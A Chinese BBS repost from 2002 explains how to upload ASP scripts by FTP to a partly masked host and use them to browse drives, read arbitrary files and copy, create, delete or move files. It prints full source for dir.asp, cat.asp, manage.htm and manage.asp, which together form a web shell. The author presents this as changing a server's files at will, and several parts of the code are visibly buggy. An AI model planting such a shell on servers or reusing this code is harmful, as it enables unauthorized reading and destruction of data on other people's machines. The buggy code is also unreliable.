荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: jjksam (frozen), 信区: InstallBBS
标  题: 利用ASP实现对Web主机硬盘文件的读写[转载]
发信站: 荔园晨风BBS站 (Thu Jul  4 21:42:27 2002), 转信

【 以下文字转载自 Homepage 讨论区 】
【 原文由 ethanwy 所发表 】

  ASP的全称是Active Server Page,是由Microsoft公司开发的一种互动的Web应用程
序。利用它可以编出很多应用程序,是Web服务更加互动,更符合用户的需求。当然,为
了需要,其中也包含了操作文件系统的一些指令和函数.有一个可以用来列出服务器硬盘
文件目录的ASP应用程序其文件名为dir.asp,cat.asp,manage.htm和manage.asp。dir
.asp是用来显示服务器制定路径的目录文件,cat.asp是用来显示制定文件,manage.ht
m和manage.asp是用来实现对目录和文件的操作(建立、删除、复制、移动)。其原代码
在本文最后。
  不过要让服务器执行你说写的ASP命令,首先要把你写的文件放到服务器的根目录下面
才可以。我们假设实验的主机是202.192.*.*。首先要将文件传上主机,这点要靠自己的
办法了,我是靠FTP来实现的,因为其FTP根目录和Web根目录都是主机上的同一个文件夹
。我取得了FTP的完全权限。具体方法大家自己想咯。
  首先将写好的文件上传至ftp://202.192.*.*,然后通过访问http://202.192.*.*/di
r.asp?pp=c:\ 你可以看到服务器硬盘分区C的根目录下所有目录和文件。改变"pp="后面
的参数,就可以看到不同分区的信息。
  接下来就是执行http://202.192.*.*/manage.htm 了,这是一个整合了所有文件操作
功能的ASP文件管理程序。具体使用大家看到程序就会明白的。这里不多说。
  现在你就可以随心所欲的改变服务器的文件了,你想把哪个文件删除就删除,想建立
就建立,因为这一切在IIS看来都是正当的要求,它没理由拒绝执行啊,^_^!
  各文件源代码
dir.asp
<% @language="vbscript"%>
<%
spp=request.querystring("pp")
'physical path
sup=request.querystring("up")
'url path
mode=request.querystring("mode")
if spp & "" = "" then spp=getpp
if sup & "" = "" then sup=getup
result =dir(spp,sup)
function dir(byval spp,byval sup)
 if right(spp,1) <> "\" then spp=spp&"\"
 if right(sup,1) <> "/" then sup=sup&"/"
 response.write "<font size=4><b>Index of "&spp&"</b></font><br><hr>"
 set fso=CreateObject("Scripting.filesystemobject")
 set f=fso.getfolder(spp)
 set fc=f.files
 set ff=f.subfolders
 response.write "<table cellpadding=2 cellspacing=2 border=0>"
 if mode="drivers" then
   set dc=fso.drives
   for each d in dc
     response.write "<tr><td width=15 valign=middle> </td>"
     response.write "<td valign=middle><a href=dir.asp?pp="&d.DriveLette
r &":\>"&d.DriveLetter &":\</a>" &d.DriveType &"<br></td></tr>"
   next
   set dc=nothing
 else
   'set parent folder
   if right(spp,2)=":\" then
    response.write "<a href="&chr(34)&"dir.asp?mode=drives"&chr(34)&"><b
>drive list</b></a><br><br>"
   else
    response.write "<tr><td width=15 valign=middle><img=src=sub_1.gif></
td>"
    response.write "<td valign=middle><a href="&chr(34)&"dir.asp?pp="&f.
parentfolder&"up"&pardir(sup,"/")&chr(34)&"><b>parent directory</b></><br><b

r></td></tr>"
   end if
   for each f in ff
    response.write "<tr><te width=15 valign=middle><img src=sub_1.gif></
td>"
    response.write "<td valign=middle><a href="&chr(34)&"dir.asp?pp="&sp
p&f.name&"&up="&sup&f.name&chr(34)&">"&f.name&"\</a></td></tr>"
    next
    for each f in fc
      response.write "<tr><td width=15 valign=middle><img src"&image(f
.name)&"></td>"
      response.write "<td valign=middle><a href="&chr(34)&"cat.asp?fil
e="&app&f.name&chr(34)&">"&f.name&"</a><br></td></tr>"
    next
   end if
   set ff=nothing
   set fso=nothing
   set f=nothing
   set fc=nothing
end function
function pardir(byval s,byval slash)
  pardir=""
  if s & ""="" then exit function
  s=left(s,len(s)-1)
    do while true
     c=right(s,1)
     if c = ":" then exit do
     if c <> slash then
       if len(s) <=0 then exit do
       s=left(s,len(s)-1)
     else
     exit do
  end if
  loop
 pardir=s
end function
function image(byval sname)
  dim stype: stype=gettype(sname)
  image=""
  select case stype
    case ".htm"
     image=image &"sub_2.gif"
    case ".html"
     image=image &"sub_2.gif"
    case ".bak"
     image=image &"sub_2.gif"
    case ".BAK"
     image=image &"sub_2.gif"
    case ".gif"
    case ".GIF"
     image=image &"sub_2.gif"
    case ".jpg"
    case ".JPG"
     image=image &"sub_2.gif"
    case ".jpeg"
    case ".JPEG"
     image=image &"sub_2.gif"
    case ".bmp"
     image=image &"sub_2.gif"
    case ".BMP"
     image=image &"sub_2.gif"
    case ".txt"
     image=image &"sub_2.gif"
    case else
     image=image &"sub_2.gif"
  end select
end function
function getpp 'physical path
  dim s
  s=request.servervariables("path_translated")
  do while true
   if instr(s,"\") then
    if right(s,1)="\" then exit do
      s=left(s,len(s)-1)
   else
    exit do
   end if
  loop
  getup="http://"&s
end function
function gettype(byval s) 'get file type
  do while true
  if instr(s,".") then
    if left(s,1)="." then exit do
    s=right(s,len(s)-1)
  else
    gettype=""
    exit do
  end if
  loop
  gettype=s
end function
%>
cat.asp
<%
response.contenttype="text/plain"
file=request.querystring("file")
if file="" then
  response.write "请输入要看的文件名:http://xxx/cat.asp?file=c:\autoexec.
bat"
else
  set fsFilesys=CreateObject("Scripting.FileSystemObject")
  set tsCoffee=fsFilesys.OpenTextFile(file)
  response.write tscoffee.Readall
  tsCoffee.close
  set fsFilesys=nothing
  set tsCoffee=nothing
end if
%>
manage.htm
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>New Page 1</title>
</head>
<body>
<div align="center">
 <center>
 <table border="0" width="750">
  <tr>
   <td>
    <p align="center">文件在线管理系统</td>
  </tr>
  <tr>
   <td>复制文件</td>
  </tr>
  <tr>
   <td><form method="get" action="manage.asp">
 <p>copy<input type="text" name="T1" size="94"></p>
 <p>to<input type="text" name="T2" size="97"></p>
 <p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
  </tr>
  <tr>
   <td>复制目录</td>
  </tr>
  <tr>
   <td><form method="get" action="manage.asp">
 <p>copy<input type="text" name="T3" size="94"></p>
 <p>to<input type="text" name="T4" size="97"></p>
 <p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
  </tr>
  <tr>
   <td>建立文件</td>
  </tr>
  <tr>
   <td><form method="get" action="manage.asp">
 <p>create<input type="text" name="T5" size="94"></p>
 <p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
  </tr>
  <tr>
   <td>删除文件</td>
  </tr>
  <tr>
   <td><form method="get" action="manage.asp">
 <p>delete<input type="text" name="T6" size="94"></p>
 <p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
  </tr>
  <tr>
   <td>建立目录</td>
  </tr>
  <tr>
   <td><form method="get" action="manage.asp">
 <p>create<input type="text" name="T7" size="94"></p>
 <p>under<input type="text" name="T8" size="97"></p>
 <p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
  </tr>
  <tr>
   <td>删除目录</td>
  </tr>
  <tr>
   <td><form method="get" action="manage.asp">
 <p>delete<input type="text" name="T9" size="94"></p>
 <p>under<input type="text" name="T10" size="97"></p>
 <p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
  </tr>
  <tr>
   <td>移动文件</td>
  </tr>
  <tr>
   <td><form method="get" action="manage.asp">
 <p>move<input type="text" name="T11" size="94"></p>
 <p>to<input type="text" name="T12" size="97"></p>
 <p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
  </tr>
  <tr>
   <td>移动目录</td>
  </tr>
  <tr>
   <td><form method="get" action="manage.asp">
 <p>move<input type="text" name="T13" size="94"></p>
 <p>to<input type="text" name="T14" size="97"></p>
 <p><input type="submit" value="提交" name="B1"><input type="reset" value="
全部重写" name="B2"></p>
</form></td>
  </tr>
  <tr>
   <td></td>
  </tr>
  <tr>
   <td></td>
  </tr>
 </table>
 </center>
</div>
</body>
</html>
manage.asp
<%@ LANGUAGE="VBScript" %>
<% ca = request.querystring("T1")
  cb = request.querystring("T2")
  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  If fso.FileExists(cf) Then
   fso.CopyFile ca, cb, True
   Response.Write "已被复制到"
  Else
   Response.Write "不存在,复制失败 !"
  End If
  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  cf = request.querystring("T3")
  ct = request.querystring("T4")
  fso.CopyFolder cf, ct, True
  Response.Write "已将 目录复制到 目录了 !"
  fp = request.querystring("T5")
  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  Set tso = fso.CreateTextFile(fp, True, False)
  tso.Close
  Response.Write "newdata.txt 已建立"
  fp1 = request.querystring("T6")
  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  If fso.FileExists(fp1) Then
   fso.DeleteFile fp1, True
   Response.Write "newdata.txt 已删除"
  Else
   Response.Write "newdata.txt 不存在"
  End If
  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  fp2 = fso.BuildPath(request.querystring("T7"), request.querystring("T8"))
  Set fod = fso.CreateFolder(fp2)
  Response.Write "主目录下已建立好名为 subfolder 的子目录"
  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  fp3 = fso.BuildPath(request.querystring("T9"), request.querystring("T10")
)
  fso.DeleteFolder fp3, True
  Response.Write "主目录下已删除名为 subfolder 的子目录"
  mf = request.querystring("T11")
  mt = request.querystring("T12")
  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  If fso.FileExists(mf) Then
   fso.MoveFile mf, mt
   Response.Write "movefrom.txt 已被移动到 moveto.txt"
  Else
   Response.Write "movefrom.txt 不存在,移动失败"
  End If
  mf1 = request.querystring("T13")
  mt1 = request.querystring("T14")
  Set fso = Server.CreateObject("Scripting.FileSystemObject")
  fso.MoveFolder mf1, mt1
  Response.Write "已将subfolder 目录移动到 moveto 目录了 !"
%>

--

有人这么说,网上的人,都是孤独的。
我这么说,我是因为上网而孤独了。
他这么说,本来我是孤独的,上网之后更孤独。
她这么说了,我本来很孤独,但是看到其他网人我才感到自己原来不孤独。

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 218.16.44.42]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店